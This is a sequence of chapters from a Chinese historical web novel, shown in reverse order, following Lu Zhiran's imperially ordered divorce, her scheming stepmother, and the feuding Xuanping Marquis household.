若最后连八成都退不了,那才是真正地砸在了手里。 赵书宁想到那是自己的银子,顿时一阵心疼。 深吸了一口气,这才压下那股心疼,勉强点头。 谁料,这时,那掌柜却道:“定金是不退的,这八成是尾款的八成,此乃业内默认行规,客官应当知晓吧。” 此言一出,赵书宁立马炸了。 “什么?定金不退?这不是讹人吗?” 即便定金不是她付的,但她也已经把那银子当成是自己的,方才她还在心中算了一番,原价八千八百八十八的八成来算,她亏损的也不算特别多,这才勉强接受。 可若八百八十八的定金不退,只按照八千两的八成算,她就要亏一千六百两! 现在的赵书宁已经不是以前的她,不再视金钱如粪土。 一千六百两对于大多数人来说,都是一笔绝对的巨款。 楚翊安听了这话也变了脸色。 那掌柜依旧笑容满面,“客官,这是业内默认行规,二位若是不信,大可去其他店打听一番。” 赵书宁咬牙,“我们可是宣平侯府!” 她一摆出宣平侯府,楚翊安面皮就一阵发紧。 这种时候亮出名头岂是什么光彩之事? 更何况,而今的宣平侯府也根本没有什么好名声,不说还好,一说,旁人都不知要如何笑话他们呢。 掌柜笑容不变,“此行规对任何人都是一视同仁,绝无针对之意。二位若是要退,小人这便替二位办理。不知二位是退还是不退?” 赵书宁和楚翊安神色凝滞,半晌都没吭声。 掌柜十分识趣地道:“二位不妨好生考虑,待想好了再唤小的也不迟。店内商品二位也尽可随意挑选。” 说完,他便转身离开包间。 一出来就看到了陆知苒主仆三人,他立马扬起笑脸迎客。 “这位小姐,今日想挑些什么?” 陆知苒淡声道:“我随便看看,你自去忙吧。” 掌柜知道贵人各有癖好,有些人的确不喜旁人跟着,便躬身告退。 “小姐有何吩咐,只需拉铃即可。” 第53章 把头面退了吧 短短一日,宣平侯府的那场喜宴成了街头巷尾最大的谈(笑)资(话),随便走进一家茶楼酒馆都能听到不同版本的故事。 散朝后,德丰帝才得知此事,顿时嘴角抽抽。 他就说怎么楚定峰和楚翊安父子俩都一脸菜色,敢情自家儿子也出了一份力。 “把小七给我喊来。” 大太监冯有才躬着身,笑眯眯地答话,“七皇子一早就在御书房外候着,就等皇上您传召呢。” 德丰帝从鼻子里发出一声轻哼,“看来他也知道自己干的好事。” 萧晏辞入内行礼。 “儿臣参见父皇,今日儿臣特来向您复命,陆氏女与宣平侯府的和离圣旨已宣读,和离之事进展顺利,儿臣幸不辱命!” 德丰帝听他这话,竟还有邀功之意,简直气笑了。 “那朕是不是还得好好赏你?” 萧晏辞大言不惭,“父皇都给儿臣记账上,来日儿臣娶了王妃,再一并交给王妃打理。您知道的,儿臣存不住财,再多的赏赐到了儿臣这儿也白白便宜别人。” 德丰帝:“……你倒是想得长远!” 萧晏辞一脸正色,“儿臣命格特殊,自然要多为自己考虑一二。” 德丰帝一时不知该气还是该笑了。 轻咳一声,拉回正题,“谁让你昨日去宣旨的?” 萧晏辞一脸无辜,“父皇也没指定哪天不可以宣旨,儿臣自然就择了个黄道吉日。” 德丰帝:…… “你小子就是故意的!把别人喜宴闹得狼狈收场,你就开心了?” 萧晏辞满脸笑嘻嘻,“是啊,儿臣最喜欢看别人出丑了。” 他这副混不吝的样子,简直叫德丰帝骂都不知道该怎么骂。 只能狠狠指着他的鼻子,“你也有成亲的一日,小心日后都回报到你自己身上。” 萧晏辞不以为意,“儿臣煞气多重啊,哪个牛鬼蛇神敢在儿臣的喜宴上惹事,那不是找死吗?” 实在没法骂了,摆摆手就把他打发了。 萧晏辞走后,德丰帝没好气地对冯有才道:“你瞧瞧他,越来越无法无天了。” 冯有才躬着身,满脸笑眯眯的,“是皇上待七皇子宽和,七皇子在您面前才会如此率性行事。” 德丰帝哼了一声,“昨日喜宴,有没有出什么乱子?” 冯有才欲言又止。 德丰帝眉峰一挑,“有话就直说。” “奴婢听说,在七皇子宣旨之前,还闹了两桩笑话。” “说来听听。” 冯有才斟酌着道:“陆大小姐商铺里的管事因贪墨罪被收押京兆府受审,证据确凿之下他们不得不认罪,但同时还供出了主谋,正是宣平侯夫人姜氏。” 德丰帝的眉峰微蹙,“竟有此事?” “此事尚未有决断,奴婢亦不知真假,实不该拿来扰了皇上的耳朵。” 德丰帝幽幽道:“空穴不来风。还有一桩是何事?” 冯有才小心开口,“此事与赵医女有些相干……” 他言简意赅地把事情始末尽数道来,德丰帝的脸色慢慢沉了下来。 “那赵氏女终究并非大族出身,行事实在上不得台面。” 这话冯有才不敢置评,毕竟那是皇上亲自抬举之人。 “昨日也算是她的大婚,便让她在府中休息一段时间吧。” 冯有才面上不动声色,笑着附和。 “还是皇上体恤下臣。” 德丰帝的口谕传到宣平侯府时,所有人都面如土色。 大家都没想到,皇上的惩罚会来得这么快。 姜氏呼天抢地,“皇上这明着是体恤你,让你休假,实际上却是变相地夺你的职啊!这也不曾说个期限,万一皇上一直想不起你来,你岂不是要一直这般在家中休息?” 赵书宁心头亦是一紧,面上却强撑出傲然自信,“不可能,李贵妃的病需要我,除了我,无人能替她医治。” 李贵妃患的那妇科之症,太医院的太医根本治不到点子上,只有自己可以。 只要有李贵妃帮忙,她定能重新回到太医院。 不过,这件事也给她一个提醒,她必须要找到更多的机会施展自己的医术才行。 若是拥有了一批忠实的拥趸,她便是被迫离开太医院,也依旧能为世家贵妇们看病。 赵书宁的眼底迸发出了一股强烈的紧迫与野心。 姜氏满腹怨气,“若不是你挑明她有孕之事,今日也不会惹来这么多麻烦!” 赵书宁的脸色微寒。 楚定峰出声呵斥,“你先把自己的烂摊子收拾好了再指责别人,今日散朝之时傅大人还特意提醒我案子之事,我的老脸都丢光了!” 他舍下老脸求傅大人高抬贵手,对方却铁面无私,一概不应,只传达了陆知苒的态度,只要赃款还清,就可销案,不然,姜氏就得到府衙受审。 她这是只认钱,不认人。 姜氏的脸涨成猪肝色。 “银子到底凑齐了没有?” 姜氏嗫嚅,“那么大一笔银子,哪那么容易凑出来?” 楚定峰:“你贪了这般多银子,难道全花了不成?眼下侯府是多事之秋,容不得半点闪失。这个窟窿你必须给我填上!” 姜氏眼神闪烁,她派人回娘家讨要银子,兄嫂果然说银子一时半会儿拿不回来。 眼下她手底下虽有一些,却是远远不够的。 赵书宁低着头,眸底笼着晦暗之色。 陆知苒的银子必须凑齐了还回去,那自己的银子呢? 在姜氏不知道第几遍哭诉自己拿不出银子之后,楚翊安忽而开口。 “既如此,就把清儿那套头面拿去退了吧。” 姜氏的哭声骤然顿住,“这怎么能行?” 原本抬步欲走的楚定峰也停下脚步,有些疑惑地回头。 “清儿的哪套头面?” 他一般都不管后宅庶务,是以他完全不知此前那桩事。 楚翊安沉声开口,“前不久清儿在如意阁定了一套头面,总价八千八百八十八两,是书宁替她付的银子。” 楚定峰听了这个数额,倒吸一口凉气。 “你怎么不早说?退,现在就赶紧给我拿去退!” 姜氏尖声反对,“不行,那是清儿的东西!更何况,买回来的东西,怎么能退回去?传出去侯府的名声还要不要了?” 楚定峰指着她的鼻子骂,“那你就去蹲大牢吧,那样咱们所有人脸上就都有光了!” 若不是为了自己的脸面,他才懒得管姜氏的死活。 姜氏瞬间噤声。 半晌她才嗫嚅,“老侯爷不是留了些东西……” 楚定峰反手就给她甩了一耳光,“你还敢惦记我爹的那点东西,你是要把侯府的家给败光不成?” 第52章 不曾得到过的偏爱 陆知苒踩着时间到了知春苑。 昨夜陆贯轩歇在了这里,陆知苒到时下人正在摆早膳,他们正准备用膳。 屋中烧着地龙,入内便有暖意扑面而来,与冰冷潮湿的瑶光阁截然不同。 方氏笑着招呼她,“苒姐儿,你来得正好,快,坐下一起吃。” 目光不动声色地在陆知苒身上扫了一圈,眸光幽深几分。 方才一瞬间,她竟有种看到年轻时的洛氏的恍惚。 陆贯轩也微微怔了怔。 陆知苒从容地上前行礼,整个人由内而外都透着股松弛怡然,全无半分失魂落魄。 “女儿可真是有口福了。” 方氏的态度十分慈和,主动拿起公筷给她夹了一个晶莹剔透的虾饺。 “苒姐儿,你尝尝这个虾饺,是用最鲜活的活虾做的,又鲜又嫩。你父亲知道溪儿爱吃,这才吩咐厨房每日都做,这段时日溪儿回了外祖家,厨房也随时备着,就怕她哪日突然回来了想吃吃不着。” 方氏的眼里满是笑意,看着陆贯轩的眼神也很是无奈。 陆知苒眸底闪过一抹幽暗。 久远的记忆似开了闸的洪水,朝她侵袭而来。 曾经,她很喜欢吃一道名为双皮奶的甜点。 后来,母亲去世,方氏进门,很快怀上了陆映溪。 在给方氏请安之时,她闻到自己身上的奶味连连干呕,父亲便沉着脸呵斥她贪图口腹之欲,完全不顾嫡母有孕在身。 从此以后,厨房便停掉了这道甜点。 她还爱吃豆腐,尤爱臭豆腐。 有一回陆映溪碰到,嫌弃皱眉,隔日父亲便训斥她没有世家贵女风范,吃些上不得台面的腌臜物。 至此,她便再未吃过。 偏爱当真是世上最不讲道理的东西。 这份有恃无恐的偏爱,是她从小到大不曾获得的,曾经的她无比渴望。 方氏看穿一切,便惯用这样的手段,以最柔软的话语,直击她最脆弱的地方,她每每都被击得溃不成军。 现在,她只觉得可笑。 笑方氏的自以为是,这么多年过去了,她依旧用老眼光看自己,连对付自己的手段也如此拙劣。 方氏笑看着她,等着她的反应。 陆知苒脸上的笑意半分不减,“那我可真是沾了妹妹的光了。” 她拿起筷子,夹起那个虾饺咬了一口。 饺子皮很薄,一口咬破,浓郁的汤汁涌入口中,十分鲜甜,里面的虾肉更带着股弹牙的嚼劲,味道绝佳。 她大方称赞,“好吃。” 连吃两个,她幽幽叹息,“我倒是突然想起幼时吃过的那道西湖醋鱼,是娘亲亲手做的,味道酸酸甜甜,别有一番风味。只是后来,再没人能复刻出我记忆中的味道了。” 她转头看向陆贯轩,眼中充满祈求,“父亲,女儿想请一位苏杭的厨子,日后想吃这道菜便能随时吃到。可以吗?” 陆贯轩也回忆起往事,眸底浮出一抹柔光。 “让你母亲寻一个便是。” 陆知苒顿时面露欣喜,“多谢父亲,您对女儿真好。” 又转头看向方氏,“也多谢母亲,劳烦母亲费心了。” 方氏捏着筷子的手暗暗握紧,指节都握得阵阵发白,面上却只能强撑出笑,应承下此事。 陆知苒垂眸,掩去眸底幽光。 西湖,是她娘亲与陆贯轩相遇的地方,他们一起吃的第一道菜便是西湖醋鱼。 陆知苒并不喜欢吃这道菜,但它却成了母亲的执念。 临死前,她还在对此念念不忘。 陆知苒此时提起,唤醒了陆贯轩久远的记忆和稀薄的柔情。 她并不稀罕他那廉价的情谊,但能让方氏膈应,那便够了。 正吃着饭,陆知苒忽而侧身轻打了几个喷嚏。 “母亲,女儿还有一事,现下天冷了,女儿需要向母亲讨些炭例,屋中太过湿冷,女儿睡得不踏实。” 陆贯轩立马蹙眉看向方氏,“你怎么安排的?连这点事都思虑不周全。” 方氏面容微凝。 转而对身边心腹怒喝,“我不是吩咐了给大小姐把炭例备齐吗?你们怎么办事的?大小姐归家,那是天大的事,你们胆敢怠慢,是吃了熊心豹子胆了不成?” 心腹立马跪地请罪。 陆知苒赶紧道:“母亲莫要动怒,女儿此次归家实属突然,下人忙乱有所疏漏也是情有可原,把炭例补上就是了,可别为了女儿就罚他们。” 陆知苒递了台阶,方氏又训斥几句,这才把此事揭过。 “对了母亲,我手下的管事向我提议,今年需得多备些炭,大旱之后必是寒年,今年恐怕会冷很久,届时炭火价钱恐会飙升。” 陆知苒一脸诚恳,方氏却不以为意。 “侯府每年都备有炭,这些庶务母亲早便安排妥当了。” 不需要她这丫头片子瞎指挥。 陆知苒却是坚持,“按照以往的份例恐是不够,还需多多备些才是,不然只怕有银子也买不到了。” 方氏抬起帕子掩住唇边的讽笑。 “苒姐儿,你到底年轻,有些管事会故意夸大事实,编一些采买的条目,好从中捞油水。你可不要轻易被骗了。往年冬日再冷,府里的炭火也是备足了的,不需要再额外多采备。若是一次采备太多,放到来年受了潮就没法烧了。” “母亲,今年真的不一样……” 陆贯轩开口打断了她,“好了,不用多说了,听你母亲的便是。你母亲在这方面的经验比你足。” 陆知苒最终闭了嘴。 方氏微微垂眸,心头那股郁气总算舒缓几分。 这小丫头以为自己在侯府管了几年家,自诩有了经验就想插手陆家的庶务,真是掂量不清自己的斤两。 陆知苒低垂着头,掩去了眸底的那抹冷嘲。 便是猜准了方氏的反应,她才会主动开口提出此事。 待日后炭火价格飙升,有价无市之时,就是方氏的打脸之日。 陆贯轩用过早膳便准备去上朝,临出门前,他又转头叮嘱了一句,“苒姐儿,若邢家主动寻你,你当以礼相待,只寻常交际即可,朝廷上的事切不可多提。” 那邢大人性情古怪,旁人越是挟恩图报,他越是不买账。 此次与邢家好容易搭上了关系,可不能因心急就功亏一篑。 陆知苒乖巧点头。 “一切听从父亲安排。” 陆贯轩满意点头。 目送陆贯轩离开,方氏又笑着开口,“母亲与邢夫人倒是有些交情,届时两家走动起来了,母亲也能带着你们姐妹二人一道前去见见世面。苒姐儿你年纪尚轻,未来的日子还长着呢,总要好好相看的。这一回,母亲定替你挑个好的,不再叫你受委屈。” 陆知苒一脸真诚,“我暂时不考虑这些,母亲还是多替妹妹相看吧,可不能让妹妹重蹈我的覆辙。” 方氏:…… 说完这话,陆知苒便告退,施施然地走了。 第51章 这个世上只有我最爱你 楚定峰狠狠剜了她一眼,算是承认。 姜氏难以置信,“怎么可能?皇上怎么会看上她?” 赵书宁忽而开口,“她的确生了一张勾人摄魄的脸。” 这一刻,她原本对陆知苒的嫉妒全没了,变成了深深的鄙夷,还有一股莫名优越感。 她如此不知廉耻,还拿什么跟自己争? 楚翊安双目赤红,“不可能,皇上乃九五之尊,什么样的女子没见过,怎会看上她这个人妇?” 赵书宁唇角泛着鄙夷,“皇上的后宫佳丽三千,独独缺个下臣之妻。” 楚翊安摇头,“这太荒谬了。” “若不然,她何德何能,能让皇上为她特意颁发一道和离圣旨?前头皇上才刚刚赏赐了我,给我封了五品诰命。今日却让七皇子前来宣旨,公然打我们的脸,若非为博美人一笑,皇上岂会如此行事?” 她十分冷静地分析着,楚定峰赞许地点了点头。 楚翊安不愿接受自己真的被戴了绿帽子,更无法接受给自己戴绿帽的是当今皇上! 但赵书宁的分析又叫他无法反驳。 赵书宁微微低垂了头,语气嘲讽,“难怪,所有人都说我诊错了脉。” 她这番神色,似是已然完全忘了自己给陆知苒下药之事。 楚翊安死死盯着她,“陆知苒真的是滑脉?” 赵书宁抬起头,眸光不避不让,“是!” “那你为何不坚持到底?” “皇上要保她,保她肚子里的孩子,便是来再多的御医,也无人会站在我这边,我的坚持还有什么意义?” 楚翊安不信,“你当时还不知道她与皇上的关系。” 赵书宁苦笑,“我的确不知道,但蒋老太医和其他三位太医众口一词,这还不能说明一切吗?我锋芒太盛,已经惹了众怒,就算此事没有皇上的授意,他们也会联起手来排挤我,我若不及时低头,最后只会败得更惨。” 楚翊安说不出话来。 姜氏激动得连连拍大腿,“我就说,她当时那番反应,与我当初怀安儿和清儿时一模一样,绝对是有孕无疑!我没有看错,那贱人果然不安分!” 楚定峰叹息,“我本想无论如何都要把人留在侯府,让她把孩子生下,运作得当,这孩子就能为侯府带来荣华富贵。” “但万万没想到,她早就心不在此,她所图只怕不小,若当真叫她成了,日后我们众人见了她都得俯首称臣,侯府就真的没有翻身的可能了。” 楚翊安面容扭曲,眸底有一簇簇火苗在跳跃燃烧。 叫他向那女人俯首称臣,绝无可能! 姜氏紧张地开口,“那,那,我们现在该怎么办?若她向皇上告状,侯府岂不是要完了?” 楚翊安冷冷道:“皇上不可能因为她的枕边风,就真的对侯府如何,毕竟,她可以只顾私仇,皇上却不得不谋大局,更不想在史书上留下昏庸的一笔。” 楚定峰点头,“我也这么想,短期内,我们无需担忧。但打铁还需自身硬,侯府绝不能叫人寻到一丝半点的错处,更要支棱起来,做出一番功绩,才不会成为皇上手中的弃子。” 皇上是上位者,他不会为了一个女人就昏了头。 “我把你们都唤来,便是为了把其中利害关系与你们一一分说清楚,我们内部矛盾化解了,才能真正拧成一条绳,把劲儿往一处使。” 几人都若有所思。 赵书宁:“李贵妃所得乃妇人之症,整个太医院就只有我最擅长,也最方便替其诊治。她的病症后续还需调理,还用得到我。届时,我定有法子重新获得李贵妃的信任。” 这正是楚定峰想听的,他当即高兴地连连点头。 楚翊安的面色有些凝滞,“儿子是武将,武将在京中要出头并不容易,只有等到战事发生,儿子才能有立功的机会。” 楚定峰自然知道这一点,他拍了拍儿子的肩,“父亲都明白,这段时间你也不可松懈,需得勤练武艺,等待良机。” 一番勉励,再看向姜氏时,他的眼神立马冷了下去。 “还有你,陆氏的银子我不管你贪了多少,都得给我原原本本地吐出来,绝不能叫御史台的那些老学究抓到侯府的半点把柄。” 姜氏听得眼前一黑。 那些银子贪的时候轻松,要拿出来可就要了她的老命了。 她早已经把那笔银子拿回娘家,投资做生意去了。 哥哥嫂子说了,生意一时半会儿回不了本,还得再等等,眼下她上哪儿凑银子去? 撂下这话,楚定峰不再理会她,甩袖而去。 姜氏捂着心口,一阵哎呀哎呀直叫唤。 赵书宁想到自己被姜氏哄着拿出去的银子,就心疼得滴血。 事到如今她已然看清了一件事,那些银子拿出去容易,要拿回来简直难如登天! 此时再见姜氏这副作派,更是厌恶至极。 楚翊安心烦意乱,也没了哄她的心思,二人直接告退了。 屋中没了旁人,姜氏气得想砸东西,但愣是下不去手。 陆知苒把她的好东西都搬走了,永福居显得空旷许多,这剩下的都是侯府自己的东西,砸坏了可没银子买。 楚翊安和赵书宁依旧一路沉默。 直到回了新房,赵书宁终于按捺不住开口。 “你现在应当知道陆知苒的真面目了吧?” 她依旧半字不提下药之事。 楚翊安一听到陆知苒的名字,心底便生出嫌恶。 “别跟我提她。” “我只是想告诉你,在这个世上,只有我最爱你,只有我会无条件地对你好。” 赵书宁信誓旦旦地说着,看着他的眼神充满了深情与专注。 “你知道的,原本我可以有更好的选择,但我却义无反顾地选了你,你不要辜负我。” 忆起西平总总,楚翊安心头掀起波澜。 他缓缓伸手握住她,声音沉缓而坚定,“我定不负你。” 这条路是他自己选的,无论好坏,他都只能闷头走到底,绝不后悔! 他不能比那女人过得更差! …… 回陆家的第一个晚上,陆知苒睡得并不踏实。 屋中湿冷,炭火不足,后半夜她被冷醒,守夜的丹烟给她灌了好几回汤婆子都没能暖和起来。 一大早,她便顶着黑眼圈醒了。 看到屋中摆设,她懵了一瞬才反应过来。 打了个大哈欠,陆知苒便起身梳洗更衣。 在侯府时,姜氏为显大度,并不让她晨昏定省,但回了陆家,上头有嫡母在,她这个做女儿的是要日日请安的。 她穿了一身藕荷色缎地绣花百蝶短袄,头上斜插鎏金穿花戏珠步摇,脸上薄薄的脂粉掩去了疲态,唇上一点淡淡嫣红,整个人瞬间鲜亮起来,如海棠般浓艳。 第50章 真正的奸夫是谁? 方嬷嬷少不得拿出碎银子犒劳,“今日天冷,实在辛苦诸位,这点小钱拿去打两壶酒热热身。” 一众粗使婆子得了好处,原本的怨言一下没了,换上了笑脸。 “大小姐实在太客气了,为大小姐当差是奴婢的本分。” “之后大小姐还有什么吩咐,但凭差遣。” 卧房并不大,陈设也十分简单,一床一榻一衣橱,一张茶几,几把凳子,再加上一面靠墙打的书柜,这便是她过往十几年的全部天地。 屋中已经被收拾得纤尘不染,香炉中袅袅燃起的沉木香在屋中弥漫,将原本久无人居住的陈腐气冲淡。 金嬷嬷入内,环顾一圈,眼中又流露出心疼。 “这地方本就阴冷潮湿,又久不住人,老爷也不知道心疼心疼姑娘。” 陆知苒淡笑,“父亲是什么样的人,奶娘还不清楚吗?能大度接纳我回陆家已经是极好的结果了。” 金嬷嬷又是一阵唉声叹气。 陆家不是她的庇护所,只是她暂时的落脚之地罢了。 在她把所有事情办完之前,都需要这个落脚之地,所以,她还得给渣爹一些甜头。 陆知苒有些摸不准邢家那边的态度,此事还需好好筹谋一番。 她一边琢磨,一边昏昏沉沉地睡了过去。 宣平侯府,却无人有睡意。 府中各处的灯笼都贴上了“囍”字,此时灯笼亮起,显得格外讽刺。 新房中,入目一片喜庆的红,却半点喜色都没有。 丫鬟们一个个轻手轻脚,小心翼翼。 楚翊安沉默地更衣梳洗,径直躺到了床上。 赵书宁则坐在桌前,一动不动,气氛沉闷到了极致。 楚翊安声音满是疲惫,“时间不早了,早些更衣歇下吧。” 他闭着眼睛,强迫自己不去多想,赵书宁却因他的冷落心中那根弦彻底绷断。 “你现在还睡得着?” “我很累。” 这番敷衍的态度叫赵书宁怒火更盛,她不依不饶地追问,“你是不是在怪我?” “没有,你别多想。” 楚翊安依旧躺着没动,眼睛都没睁开。 他这番态度,叫赵书宁如何不多想。 她的声音扬高了好几度,“你连话都不愿意与我多说,更是看都不想看我一眼,还说没有怪我?” 心中的烦躁终于彻底爆发,楚翊安猛地从床上坐了起来,“我说了我很累,你还想要我怎样?” 赵书宁胸口一阵起伏,“你是累还是不想看到我?今日是我们大喜的日子,你却这般冷落我,你对得起我吗?当初在西平之时你是怎么说的?这才过了多久,你就厌恶上我了,你到底有没有心?” 楚翊安几乎是脱口而出,“在西平之时,你也不是这样自私善妒又无理取闹的人。” 赵书宁像被踩中了痛脚,“你果然还念着陆知苒,为了她不惜这般指责我!” “那你说,你与她之间,究竟瞒了我什么事?” 他直直盯着赵书宁,不错过她脸上一丝一毫的表情变化。 赵书宁的眼底只有失望与难过,没有半丝心虚。 “你为了她,竟一再怀疑我?你的心已经偏了,我便是解释再多又有什么用?” 她再次逼问,“你是不是根本不希望她离开你?你的心里还有她,对不对?” 楚翊安眼底闪过一抹厌恶,“你胡说什么?我怎么会留恋她那样的女人?” “那今日白天之时,你为何一再拒绝她提出的和离要求?你那番态度,分明就是舍不得她!” “你到底有完没完?我说了没有就是没有!” 赵书宁不依不饶,“被我说中心思,恼羞成怒了?你口口声声说爱我,实际上心里却一直惦记旁的女人,可笑的是,人家根本就不在意你!早就想着离你而去,这段时间你的表现在她看来,全都是一场笑话!” “砰!” 楚翊安起身,一脚踹翻凳子,发出一声惊天巨响。 “你说够了没有?” 赵书宁吓得一抖,嘴唇哆嗦,再没敢多说半个字。 就在这时,外头传来一道弱弱的通禀声。 “少爷,少夫人,侯爷请你们往永福居去一趟……” 楚翊安声音满是怒气,“说我们已经睡下了!” 下人战战兢兢地回话,“侯爷和夫人方才起了些争执,还,还动了手,侯爷吩咐了,务必请您二位前去,有,有要事要议。” 楚翊安额角青筋狠狠跳了几下,方才的那股怒气再次攀升。 这到底有完没完了? 楚翊安一甩袖,大步往外而去。 赵书宁狠狠咬唇,也抬步跟上。 永福居里,姜氏正在哭,原本她脸上就一片红肿,现在眼睛也肿成了核桃。 楚定峰沉着脸坐在一旁,仔细看,他的脸上还有几道手指的抓痕。 楚翊安进来看到的便是这番情形,“父亲,母亲,你们这是怎么了?” 姜氏的哭声顿时扬高了几分,“你好好问问他吧!看他究竟做了什么为老不尊的龌龊事!” “我已经跟你说过了,我与陆氏清清白白,半点干系都没有!” 楚翊安和赵书宁听了这话,俱是脸色大变。 姜氏声音尖利,宛若泼妇。 “那你为何一再袒护她?先前安儿要休了她,你便一再阻拦,想保下她。她偷偷求了和离圣旨,害得安儿颜面扫地,简直该千刀万剐,你还一直替她说话,你不是与她不清不楚是什么?” “就她那勾人的狐媚样,这三年你们怕是早就勾搭到一处了吧!她肚子里的野种,是不是你的?当初我便觉得那陆氏是个不安分的,果然是个骚蹄子!” 姜氏越说越激动,各种污言秽语都往外倒,半点侯门夫人的涵养都没有。 楚翊安越听,脸色就越难看,赵书宁也在用一副惊疑的目光看着楚定峰。 楚定峰怒喝,“你闭嘴!非要挑拨我们父子失和才罢休吗?” “那你要如何解释你的行为?” 楚定峰压低了声音,“你个蠢妇,她真正的奸夫,是上头那位!你要再敢胡说半个字,我定饶不了你!” 姜氏还沉浸在愤怒之中,脑子一时没反应过来。 “上头哪位?” 楚翊安和赵书宁却是第一时间明白过来,他们再次受到巨大冲击,一时面部表情管理都有些失控。 姜氏也后知后觉地反应过来,顿时瞪大了眼睛。 “侯,侯爷是说,皇,皇上?” 第49章 究竟给他灌了什么迷魂汤 陆贯轩面色黑沉。 他这几年的确想走邢大人的路子往上挪一挪,但对方十分不近人情,他一再碰壁。 若侯府肯帮忙,说不定他早就升上去了! 陆知苒继续拱火,“这些年,女儿为侯府操持庶务,补贴了不少嫁妆,但侯府依旧是高高在上的嘴脸,对父亲半点助力都不曾提供,女儿实在是心寒。这样的人家,还有什么留恋的必要?这才是女儿下定决心和离的真正原因。” 陆贯轩的面色更沉了几分,心中的天平也慢慢发生了变化。 楚翊安立了功,前途无量,但若他这个岳父沾不到半点光,反而还要被踩一脚,那他还有什么可高兴的? 再回想这三年,陆家也没有沾到半点侯府的光,这样的亲家留着还有什么用? 陆知苒继续道:“父亲,女儿不是冲动之下才和离,而是经过深思熟虑的决定。接纳女儿,对您,对陆家,都只有好处,没有坏处。” 陆贯轩开始重新审视这个女儿。 他不得不承认,他并没有自己所以为的那般了解自己的女儿。 正这时,方氏匆匆而来。 一见到陆知苒,便拉着她的手开始心疼地抹眼泪。 “我可怜的苒姐儿,你真是受苦了。” 陆知苒用尽全身力气才忍住了把手抽出来的冲动。 如果说,她最恨的人是赵书宁和楚翊安,那么,排在第二位的,便是她这位继母方氏。 前世,母亲早早离世,方氏待她一直温柔和善,视如己出,自己渐渐把她当成了亲生母亲。 却不知,这一切都是对方的伪装,她对自己的每一分善意,背后都藏着险恶的用心。 直到临死,她才从对方口中得知另外一个惊天秘密,母亲之死,不是意外!是她害死了母亲! 方氏并未察觉陆知苒的异常,她看向陆贯轩,“老爷,外头的事妾身也有所耳闻,虽说苒姐儿闹到和离有些不妥,但木已成舟,您也消消气,切莫因此伤了父女情分。” 陆知苒看着眼前之人,唇角勾起一抹似笑非笑。 她这话明着在关心自己,实际上却字字扎刀。 不过,她料错了一件事,自家渣爹的态度已然有了转变,可不会站在她那边。 果然,陆贯轩高声反驳,“有什么不妥的?苒姐儿这回做得不错!早该离了!” 方氏的表情凝固,一时没反应过来。 陆贯轩已经骂了起来,“苒姐儿嫁入侯府三年,也等了那厮三年,他一回来就带回个平妻,还为其请封诰命,这是在打谁的脸?” 陆知苒低着头,满是凄然。 “这三年,我侍奉公婆,打理庶务,可谓兢兢业业,便是没有功劳也有苦劳。夫君要娶平妻,我自是不会反对,但他事先不曾与我商议,只是事后冷冰冰地告知,完全没有给我身为正妻该有的体面,便是公婆对此也是默认的态度。” “他们为何敢如此行事?无非便是不把父亲放在眼里。我若忍气吞声,旁人岂不都觉得陆家女儿都可任人欺辱?” 原本是一件丢人之事,从她嘴里说出来愣是变成了大义之举,她可真会给自己戴高帽。 方氏不禁开始重新审视这个继女。 “苒姐儿做任何决定,母亲自是全力支持的。只是,女子和离毕竟是少数,外头的人不知内情,也会误会苒姐儿你性子过于刚烈,善妒不容人。” 陆知苒摇头,“公道自在人心,我无惧流言。” “三人成虎,世间对女子更是多有苛责,你此时心性再坚定,这样的流言蜚语听多了,心里头还是会委屈的。” 她满目怜惜,俨然一个心疼女儿的好母亲。 陆知苒亦是满脸感动,“母亲能如此为我考虑,女儿实在感动。但是非在己,毁誉由人,得失不论。女儿无法左右旁人对我的看法,也无法预测未来的局势,只求当下无愧于心。” 话锋一转,“母亲可是担心我带累了妹妹的名声?” 方氏立马道:“苒姐儿你说的是什么话?你和溪儿都是母亲的女儿,你们在母亲心中同样重要。溪儿的名声固然重要,但你的幸福更加要紧。” 言外之意便是,她的确带累了陆映溪的名声,只是她大度不予计较罢了。 这话也是说给陆贯轩听的,提醒他也替他们的小女儿想想。 陆贯轩从鼻中发出一声重重哼声,“若只因苒姐儿和离就瞧不起我们陆家的姑娘,可见这样的人家人云亦云,目光狭隘,也不是什么值得结交和托付的人家。” 方氏险些被他这话噎死。 这小蹄子究竟给他灌了什么迷魂汤,让他在这桩大事上竟然一再偏袒维护。 “话虽如此,到底人言可畏,若能寻到两全之法,就再好不过了。” 陆知苒眸底幽深。 她所谓的两全之法,只怕是把自己送到家庙去,永远不要回来。 陆知苒柔柔看向方氏,“母亲不必担忧,我乃奉旨和离,无人敢嚼半句舌根,也不会连累到妹妹的名声。” 方氏捕捉到那几个字眼,呆愣原地。 “奉旨,和离?” “正是,皇上亲自下旨准我和离归家,哪个不长眼的敢刁难我,岂不是公然与皇上作对吗?” 方氏被狠狠敲了一记,脸上神色变幻莫测。 她不敢相信陆知苒竟有此脸面,得皇上亲自下旨和离,但事实摆在眼前,又叫她不得不相信。 陆贯轩已然有些不耐烦,“苒姐儿已经和离了,以后就安安心心待在陆家,其他休要再提!你安排些得力之人,把苒姐儿的院子收拾出来。” 方氏僵笑着开口,“老爷放心,妾身已经做了安排,定不会亏待了苒姐儿。” 陆贯轩点头,“你做事,我素来放心。” 陆知苒屈膝告退,转身的瞬间,她的唇角勾起一抹淡淡笑意。 一切才刚刚开始。 母亲去世后,陆知苒就从主院搬到了瑶光阁,此处位于内院西北角,夏日闷热多蚊虫,冬日背阴湿气重,并非什么宜居之处。 且三年无人居住,各处都荒废得不像样。 方氏安排了府中下人前来帮忙,大家紧赶慢赶,总算赶在天黑前收拾出稍微能看的样子来。 第48章 这个女儿总算没白养 毕竟,她可是主动算计了赵书宁。 虽然她是反击,但在德丰帝眼里,定然也会留下不好的印象。 萧宝珠很是气恼,“难道就这么算了吗?我实在看不惯她那样的人。” 蒋南笙:“这事交给阿辞,他擅长。” 萧晏辞冷睨她,“这听着怎么不像是夸人的话?” 蒋南笙一本正经,“这绝对是最高的夸赞。” 萧晏辞嗤笑一声,勉强收下了这马屁。 “交给我便是。” 萧宝珠立马跃跃欲试,“快,咱们现在就进宫,我也去看戏。” “说你蠢,半点没冤枉你。这种事最高明的手段是借他人之口,自己上赶着去告状,岂不落了下乘?” 萧宝珠:“……阿笙,你看他!” 蒋南笙:“我觉得阿辞说得对。” 萧宝珠:…… 三人在厢房中嘀咕谋划,而此时,陆家知春苑中,方氏正在裁剪花枝,姿态闲适。 